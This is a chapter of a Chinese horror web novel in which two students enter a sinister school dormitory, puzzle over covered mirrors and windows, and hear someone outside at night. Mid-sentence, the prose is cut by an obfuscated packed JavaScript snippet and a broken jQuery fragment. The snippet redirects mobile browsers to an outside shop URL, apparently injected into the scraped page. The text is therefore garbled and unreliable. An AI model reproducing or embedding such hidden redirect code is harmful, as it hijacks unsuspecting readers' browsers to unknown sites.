是的。

    非得。

    两个人摸索着,终于来到了寝室楼下。

    这会校园里面已经空旷无人了。

    两个人对班长地阴影越来越大,走几步就要四处张望一下,看看班长是不是藏匿周围。

    生怕自己再一次经历追杀。

    站到寝室楼下,看着人模人样,面色红润,看起来就像个活人的宿管大叔。

    两个人都有点想抱头痛哭。

    太不容易了,进来一整天了,终于遇到一个正常人了。

    看起来像人的人。

    两个人又张望了一次,走了进去。

    宿管大叔只是抬头看了他们两个一眼,没说话也没吭声,只是很稀疏平常地一眼。

    只不过这一年过来的时候,两个人在都被吓得半死不活。

    可谓是一朝被蛇咬,十年怕井绳。

    一路来到了四楼,而宿舍楼地门口,却离奇诡异地站着一排人。

    不认识,但是看上去,都很奇怪。

    陈令迟拉住了李安平,示意李安平别动。两个人一同仰头看上去,眼神也不算太友善。

    而那一行人似乎只是站着冷冷的看了几眼,而后淡定离开。

    弄得陈令迟和李安平不明所以,不知所措。

    李安平凑到陈令迟身边问:“这到底什么意思?”

    “不清楚,毕竟这里发生地离奇事也不算稀少了,”陈令迟摇头道,“但总归是走一步看一步。”

    两个人半半拉拉地给对方加了油打了气,便进了走廊。

    也不知道是心理作用,还是真的开了空调,总归有些冷。

    陈令迟和李安平都没有穿外套,这会儿只想找个地方待着。

    两个人四处张望了几下,确定了方向。

    宿舍楼要比教学楼好找,两个人很快来到了寝室门口。

    上面贴着一张单子。

    ——404宿舍

    ——住校生,陈令迟,李安平。

    陈令迟看完之后,瞬间转身,看起了左右两边地屋子,确定了这不是什么稀罕物。

    所有的寝室门口都贴了,只不过大多数都是六到八个人,只有这一个寝室是两个人。

    陈令迟瞬间松了一口气:“也好,这样在寝室里面就安全了。”

    在这个学校里面,找一个安全地方不容易。

    李安平走进去,看着铺好地八张床,坐在下面那一张,仰天长叹:“啊,我终于看见了新手福利了。”

    两个人现在地奢求已经不多了。

    初来乍到,尽量了这么一连串事情,两个人有点精神紧绷,现在看见干净的床,整个人就有点放松,想睡。

    “是的呢,只不过这屋子闷闷的,”陈令迟道,“我去阳台开窗通风。”

    说罢,陈令迟便走到阳台,刚准备拉开窗户,发现所有的窗户都贴着纸。

    陈令迟一愣,有点怪异。

    他定定地站在窗户面前,看着别贴在窗户上地印花,陷入了沉思。

    “迟哥?陈令迟!”李安平走过来时,就看着陈令迟满脸凝重地注视着窗户,给他吓得一哆嗦,几步路跨过来,猛的一下拍掉了他搭在玻璃上的手,“你要干什么?不要想不开呀,我们已经没有死的机会了!”

    陈令迟这才回神,可是还没听懂李安平说了什么,有点疑惑:“哈?”

    李安平也意识到自己太应激了,尴尬地笑了两下:“不是,我刚刚担心你自由落体。”

    强硬地拖拽着陈令迟回到寝室内部,他这才勉强放心一点解释道:“我看你刚刚就呆呆的站在玻璃门口,想到了我们高中的时候一堆人cos苹果砸牛顿,再加上今天这个无头尸男说的学习委员,我还以为你想不开了呢。”

    “……”陈令迟眨巴了几下眼睛不解道,“我看上去很像是想不开的人吗?”

    李安平郑重其事地认真看,半天道:“你挺像那种孤独求败的学神,如果在某天考砸了,从最高楼一跃而下。”

    “行。”半天,陈令迟只憋出这么一个字。

    李安平笑了下问:“那话说你一直站在窗户旁边看着啥呢?你有什么新得感悟了吗?”

    “你别说,还真有,只不过是疑惑,”说的这个,陈令迟瞬间活了起来,“我刚刚发现,虽然我们这一天什么事儿都没干,但是我们把一开始系统地报幕和墙上地规矩都踩了遍,甚至还有老师可以消除处分这么一条半隐藏地规矩。”

    有意吊起李安平地胃口,陈令迟刻意地停顿几秒而后道:“可是一天下还有一个规则,我们一直都没有触碰到。”

    “什么?”李安平果然被吊起了胃口。

    “那就是,”陈令迟神秘一笑,“镜子。”

    “镜子?”李安平喃喃自语般重复了一遍,而后他不解地抬头看向了陈令迟问道,“哪里奇怪了?”

    “一开始我没有注意到镜子,跟我们年级部有一个姑娘把镜子摔碎,割腕自杀了,我以为是这个原因。”陈令迟解释道自己感觉突兀地地方,“所以我一开始只是以为这个是害怕自杀。”

    “可是后来我发现不对,因为窗户没有被封上。”陈令迟也不确定自己说的对不对,“所以镜子肯定不是如我所想的那样,是为了阻止自杀。”

    李安平也跟着思考起来了:“那如果只是担心耽误学习的话,那完全不会单独提镜子。”

    陈令迟用力点头:“是的,所以这只要回归镜子的本质功能——成像。”

    “你为什么会联想到成像?”李安平突然有点不懂陈令迟地脑回路了。

    虽然在前面几次的经历中,他早便知道陈令迟的想法很跳跃了,但这回明显跳跃过头了。

    陈令迟抬了抬下巴,看向阳台地窗户,挑眉笑道:“那当然是因为窗户啦。”

    “虽然封住这个窗户可能就是防止我们通过镜子成像看见不应该看地东西,但是呢,也正是被纸包上了才很奇怪。”

    李安平明白了,看了几眼陈令迟,又看了几眼窗户,半天没忍住道:“但是我说句实话,一般人想不到这里,我感觉你不是拿了剧本,你就是跟BOSS共脑了,反正没你我肯定想不到这里。”

    陈令迟耸肩:“BOSS不是班长就是学习委员,两个成绩都不算差,可能这就是学神之间的共脑吧。”

    突然起来地凡尔赛,逼迫李安

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17827678|211264||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    平翻了个白眼。

    陈令迟叹了一口气道:“其实呢我也只是猜测,这并没有什么事实依据。”

    李安平道:“明天验证一下不就好了吗?”

    说罢,李安平看了一眼和现实中无差地寝室有点纠结:“我们真的要在这么一所堪称恐怖的宿舍里面入住吗?”

    陈令迟反问道:“不在这里住的话,你还想在哪里住呢?操场吗?”

    李安平一点头:“有道理,只不过我还是觉得有点不安全,希望是我的错觉。”

    “其实我觉得现在这个情况,我们两个要是安全才有鬼了。”陈令迟突然道,“还记不记得我们上楼时有一排人盯着我们看,但是什么都不做,就纯听着很奇怪呀。”

    李安平偏头看他,问的有点迟疑:“所以,你想到什么好主意了?”

    陈令迟突然性质高涨,指着床底下说:“那要不然我们睡床板吧?”

    李安平:“?”

    “你是不是有病啊?”李安平问的真挚。

    “没有呢,”陈令迟一屁股坐在床上,手往后撑着,仰着头去看李安平道,“既然不考虑是重度,那你那么紧张干嘛呢?这不白白让自己睡不好吗?”

    李安平这才反应过来,陈令迟是看出来他的恐惧了。他也没什么遮掩地心思了,干脆一股脑的抛出来:“虽然有点习惯了,但前面的阴影一直都在,我就害怕我眼睛一闭面前出来一把电锯。”

    “那怎么办呢?”陈令迟依旧不是很紧张,“我们俩不可能一夜不睡吧?”

    “想开点,”陈令迟试图安慰,“反正我们两个都死了。”

    李安平:“……”

    他勉强扯出来一个笑:“以后不会安慰人,就不要勉强自己安慰了。”

    说罢,李安平关了灯。

    两个人挑了下面的床,原因无他,感觉下面的床逃跑会比较方便。

    为了方便交流沟通,两个人也是选择头对头。

    虽然陈令迟安慰李安平地时候很起劲,但真到了床上,他却睡不着。

    总归不过是一个十七八岁的学生,心虽大,但也不至于一秒入睡。

    反倒是原本惆怅紧张地李安平睡的很快。

    因为是头对头的距离,所以哪怕是很微小的呼吸声也能听的很分明。

    陈令迟没由来地心情舒缓了些许。

    所以说这回他可能已经不算是活人了,但相比于学校里面的其他人还是像活人的。

    现在终于听到久违的呼吸声,又躺在和现实中如出一辙的宿舍楼里。

    就好像自己躺在了北苓一中的寝室里面,还有十几天就要高考了,外面会传来琐碎的声音。

    陈令迟正这么闭着眼眼睛瞎想着,突然觉得不对劲了。

    他怎么好像确切地听见了来自门外地声响,不是自己脑海里面地琐碎的声音。

    几乎是瞬间,陈令迟睁开了眼睛,动作轻微地站起来了,走到了李安平地床旁边。

    捂住了李安平地口鼻,确定了一会他发不出声音,这才轻轻拍了拍李安平地身子。

    他俯下身子,附在李安平耳边气声道:“李安平,醒醒,外面好像有人。”